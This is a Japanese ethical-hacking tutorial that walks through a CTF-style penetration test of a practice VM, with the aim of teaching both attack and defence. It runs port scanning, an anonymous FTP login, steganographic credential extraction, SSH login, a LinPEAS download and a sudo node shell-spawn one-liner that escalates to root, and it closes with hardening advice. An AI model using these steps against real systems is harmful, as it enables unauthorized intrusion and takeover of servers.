実戦形式で学ぶホワイトハッカーの技術

初心者向けのEthical Hacking講座です。

ペネトレーションテスト①

次はペネトレーションテストについて学んでいきましょう。

ペネトレーションテストは、侵入テストと日本語では呼ばれ、サーバーへの侵入を指すことが多いです。
サーバーへの侵入には様々な手法が用いられます。
先ほど学習したWebアプリケーションの脆弱性(OSコマンドインジェクションなど)を利用して侵入する場合もありますし、SSHのクレデンシャルをブルートフォースして侵入することもあります。
また時には、フィッシングやソーシャルエンジニアリングなどを駆使して侵入することもあります。
侵入の経路は本当に様々です。
今回は、人をターゲットとするソーシャルエンジニアリングは行わず、公開(していると仮定した)サーバーへの侵入を行います。

まずはペネトレーションテスト(外部サーバーへの侵入)の大まかな流れを整理したいと思います。

  1. ポートスキャンを実行
  2. 開放された各ポートにて稼働するサービスの調査
  3. 各サービスの既知の脆弱性(CVE)を調査
  4. 各サービスのゼロデイの脆弱性を調査
  5. 発見した脆弱性をエクスプロイト
  6. 権限の低いユーザーのシェルを獲得(サーバーへの侵入)
  7. サーバー内部の脆弱性をエクスプロイトし、権限を昇格

こちらの流れはケースバイケースで変更になることもありますが、大きな流れとしては上記のようになります。

今回もペネトレーションテスト用の仮想マシンを用意しましたので、下記リンクよりダウンロードして、Webアプリの環境構築をした時と同じように、VirtualBoxにインポートしてください。
drive.google.com

ネットワーク設定を行う(NATネットワークを選択する)ことをお忘れなく。
そして前回と同じように、Terminalを開いてIPアドレスを取得してください。
そのIPアドレスを公開サーバーのIPアドレスであると仮定して、ペネトレーションテストを行います。

Writeup

まずはポートスキャンを実行しましょう。
ポートスキャンとは、コンピュータネットワークのセキュリティを評価またはテストするための手法の1つであり、特定のホスト上のネットワークポートの状態を調査するプロセスです。これにより、ネットワーク上のシステムがどのようなサービスを提供しているのか、およびそれらのサービスがどのポートで利用可能であるかを判断することができます。

と言われても分かりにくいでしょう。ChatGPTに簡単に説明するように依頼したので、これでイメージがつくはずです。

コンピュータはお互いに話すために特別な「ドア」を使います。これらの「ドア」はポートと呼ばれています。たくさんの異なるポートがあり、それぞれが異なる種類の情報を送受信します。
ポートスキャンは、コンピュータがどの「ドア」(ポート)を開いていて、どの「ドア」を閉じているのかを見つける方法です。これは、コンピュータが他のコンピュータとどのように話しているのかを理解するのに役立ちます。

例えば、あるコンピュータがたくさんの「ドア」を開いていると、他の人が入ってきて何か悪いことをする可能性があります。だから、コンピュータのオーナーは、どの「ドア」が開いていてどの「ドア」が閉じているのかを知る必要があります。そして、悪い人が入ってこないように、「ドア」をきちんと閉じることができます。
ポートスキャンは、コンピュータの「ドア」をチェックする方法で、コンピュータを安全に保つのに役立ちます。でも、悪い人もこの方法を使って、コンピュータに入ろうとすることがあります。だから、ポートスキャンは注意して使う必要があります。

ポートスキャンはツールにより簡単に実行できます。
有名な「nmap」と呼ばれるツールがありますので、「nmap」を実行してみましょう。

nmap -sV -sC -Pn 10.0.2.26

結果は下記になります。

Nmap scan report for 10.0.2.26
Host is up (0.00047s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.0.2.24
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 04 14:21 pub
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 99e3ec65f0a66efbaeb97e70df35d1e3 (ECDSA)
|_  256 6a5ebecc61bc6636cefb1bad9ba99cc9 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

3つのポートが開いていることがわかります。
まずは、皆さんに一番なじみ深いPort80から見てみましょう。

Port80

Port80とは普段見ているWebサイトで使用されるポートです。(厳密には、HTTPSのサイトではPort443も使用されていますが、いったん置いておきましょう。)
ですので、ブラウザにIPアドレスを打ち込むことでアクセスできます。
実は「http」から始まるURLは、そのWebサーバーのPort80にアクセスしていることになります。
ですので、下記2つは同じになります。

http://10.0.2.26
http://10.0.2.26:80

いちいち「:80」をブラウザ上でつけることはあまりありませんが、つけてもブラウザからアクセスできます。
ブラウザからアクセスすると、「Apache2」のデフォルトページが出てきます。

Apache2 Default Page

どうやらこのページには何もなさそうです。
ではWebアプリケーションの脆弱性の際に学んだ、ディレクトブルートフォースを実行してみましょう。
「dirsearch」を実行します。

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://10.0.2.26/ 

すると、「/secret」と呼ばれるディレクトリがあることが判明しました。
移動してみると、下記画像の様にユーザーネームとパスワードを求められます。

basic認証

これはBasic認証と呼ばれ、クレデンシャルを知っている人しか閲覧できないように制限をかけるものです。
僕たちはクレデンシャルを持っていないので、ここから先に進むことができません。
一度別のポートを見る必要がありそうです。

Port21

Port21はFTPが稼働していることが多いです。FTPはFile Transfer Protocolの略称で、コンピューター間でファイルを転送する際に使用するプロトコルです。
基本的にFTPではクレデンシャルが必要なことが多いですが、ポートスキャンの結果を見ると、匿名ユーザーでログインできることがわかります。
では匿名ユーザーでFTPにログインしてみましょう。

┌──(kali㉿kali)-[~]
└─$ ftp 10.0.2.26
Connected to 10.0.2.26.
220 (vsFTPd 3.0.5)
Name (10.0.2.26:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.

ユーザーネームは「anonymous」でパスワードはなんでも大丈夫です。
そして中身を見てみると、「basic_credential.txt」といういかにもなファイルが見つかります。

ftp> ls
229 Entering Extended Passive Mode (|||60631|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Sep 04 14:21 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||11626|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            38 Sep 01 15:48 basic_credential.txt
226 Directory send OK.
ftp> get basic_credential.txt
local: basic_credential.txt remote: basic_credential.txt
229 Entering Extended Passive Mode (|||46045|)
150 Opening BINARY mode data connection for basic_credential.txt (38 bytes).
100% |*********************************************************************************************************|    38      174.22 KiB/s    00:00 ETA
226 Transfer complete.
38 bytes received in 00:00 (56.14 KiB/s)

お目当てのファイルをダウンロードできたので、FTPから「exit」コマンドでログアウトします。
次に中身を「cat」コマンドで確認してみましょう。

┌──(kali㉿kali)-[~]
└─$ cat basic_credential.txt 
username: 456-aaa
password: Secret123

Basic認証のクレデンシャルが判明しました。
ではもう一度Port80に戻って、「/secret」ディレクトリに移動しましょう。
そして、ユーザーネームとパスワードを入力すると、アクセスできることが分かります。

/secret

メッセージを読んでみると、どうやらここにSSHのパスワードがあるようです。(SSHは後ほど説明します。)
しかし、テキストベースでパスワードは書かれていないようです。となると、ウサギの画像がどうも怪しく思えます。
ダウンロードして、解析してみましょう。

ステガノグラフィ

まずは、画像のメタデータをのぞいてみましょう。
メタデータとは、ユーザーには表示されていないその画像の詳細データです。
下記コマンドにて確認できます。結果と合わせて見てみてください。

┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool rabbit.jpg 
ExifTool Version Number         : 12.57
File Name                       : rabbit.jpg
Directory                       : .
File Size                       : 87 kB
File Modification Date/Time     : 2023:09:28 04:48:06-04:00
File Access Date/Time           : 2023:09:28 04:48:06-04:00
File Inode Change Date/Time     : 2023:09:28 04:48:06-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 96
Y Resolution                    : 96
Image Width                     : 1024
Image Height                    : 1024
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1024x1024
Megapixels                      : 1.0

特に重要な情報はなさそうです。
では次にステガノグラフィーを疑ってみましょう。
ステガノグラフィーについてはWikipediaを参照してください。
ja.wikipedia.org
「steghide」というコマンドでステガノグラフィーの確認をできます。
ステガノグラフィーによって秘匿されたメッセージやファイルを抽出するためには、パスワードを入力する必要がありますが、今回はパスワードを設定し忘れていることを願ってパスワードを空白にしてみましょう。

┌──(kali㉿kali)-[~/Downloads]
└─$ steghide extract -sf rabbit.jpg
Enter passphrase: 
wrote extracted data to "ssh_credential.txt".

どうやら、「ssh_credential.txt」というファイルが隠されていたようです。
開いてみると、SSHのクレデンシャルが格納されていることが分かりました。

SSH credential info
username: sam
password: S3cur3_Th3_C0d3!

これでSSHからログインできそうです。

Port22

Port22では通常SSHが稼働しています。SSHとは、Secure Shellの略称で、リモートコンピュータと通信するためのプロトコルです。
つまり、サーバーのユーザーネームとパスワードを所持していれば、サーバーにログインできるということです。
試しに先ほどのクレデンシャルで試してみましょう。

┌──(kali㉿kali)-[~/Downloads]
└─$ ssh sam@10.0.2.26              
The authenticity of host '10.0.2.26 (10.0.2.26)' can't be established.
ED25519 key fingerprint is SHA256:Lm0l2aOYhhk8gpcfaUHur3HqltZOlDNnLtqj7Bnoz1Y.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.26' (ED25519) to the list of known hosts.
sam@10.0.2.26's password: 
$ whoami
sam
$ id
uid=1001(sam) gid=1001(sam) groups=1001(sam)

するとターゲットのサーバーにログインできたことが分かります。
「whoami」や「id」などのコマンドを叩いてみても、Kali Linuxと別環境であることがわかるはずです。
これでサーバーへの侵入が完了しました。おめでとうございます。

しかしここで終わりではありません。
権限昇格という仕事が皆さんには残っています。
確かに「sam」というユーザーとしてログインできましたが、最高権限を持っているわけではありません。
Linuxでは通常「root」というユーザーが最高権限であり、rootユーザーを目指しましょう。
rootになることで、サーバーを完全に掌握したと言えます。

権限昇格

Linuxの権限昇格には、「LinPEAS」というツールがお勧めです。
ではターゲットのサーバーに「LinPEAS」をダウンロードして、実行権限を与えましょう。

$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh
$ chmod +x linpeas.sh

そして実行します。

$ ./linpeas.sh

すると、カラフルな結果が返ってくるはずです。その中でオレンジ背景の赤文字が見当たるはずです。

linpeas

これは、権限を昇格する際に高確率で活用できる情報です。
上記画像には、「janet」というユーザーの権限で「node」コマンドを実行できるという情報があります。
「janet」ユーザーが今より権限が高い可能性がありますので、移動してみましょう。
下記記事にて、sudoで「node」を実行できる際に、実行される権限のユーザーになることのできる(シェルを取ることができる)コマンドが書いてあります。
gtfobins.github.io

ではsudoコマンドを利用して、「janet」として「node」を実行してみましょう。

$ sudo -u janet node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
$ id
uid=1000(janet) gid=1000(janet) groups=1000(janet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),136(sambashare)

実行すると、「janet」ユーザーになっていることが分かります。
「id」コマンドの結果から、「janet」は「sam」より権限が高いのではないかと予想できます。
「sudo」でどのコマンドを実行できるのか確認してみると、root権限で全てのコマンドを実行できることが分かります。
ですので、「sudo bash」にてrootユーザーに権限を昇格させましょう。

$ sudo -l
Matching Defaults entries for janet on janet-VirtualBox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, pwfeedback

User janet may run the following commands on janet-VirtualBox:
    (ALL) NOPASSWD: ALL
    (root) NOPASSWD: /usr/bin/mintdrivers-remove-live-media
    (root) NOPASSWD: /usr/bin/mint-refresh-cache
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py
    (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh
$ sudo bash
root@janet-VirtualBox:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

おめでとうございます。これであなたはrootです。
ターゲットのサーバーを完全に掌握しました。

いかがだったでしょうか。これがペネトレーションテストになります。
サーバーへの侵入の快感を少しでも知ってもらえると嬉しいです。
今回のサーバーは、実際の業務として行うものよりは、CTFと呼ばれるセキュリティコンテストの問題に近いと思います。

対策

先ほどもお伝えしたように、現実世界では今回と同様のサーバーはまずないでしょう。
しかしこのサーバーから様々なことを学ぶことができます。

まずFTPでは、匿名ユーザーでのログインを許可すべきではないことです。
ユーザーネームとパスワードを設定し、攻撃者に侵入されないようにしましょう。
そしてSSHでは、秘密鍵でのログインを強制するべきです。
今回のサーバーではSSHに、ユーザーネームとパスワードだけでログインすることが可能です。
本来これは推奨されておらず、秘密鍵を用いたログイン方法が一般的です。
公開鍵認証を使えば、秘密鍵を所持しているユーザーしかログインできないため、ブルートフォース攻撃などに対して脆弱でなくなります。
またサーバー内では、「sam」→「janet」→「root」への権限の昇格が簡単でした。
侵入されたことを想定して、他ユーザーへ権限を昇格されてしまうおそれのある脆弱性は必ず潰しておく必要があります。

お疲れ様でした。
続いては、もう少し現実味のあるサーバーをハッキングしましょう。

learn-ethicalhacking.hatenablog.com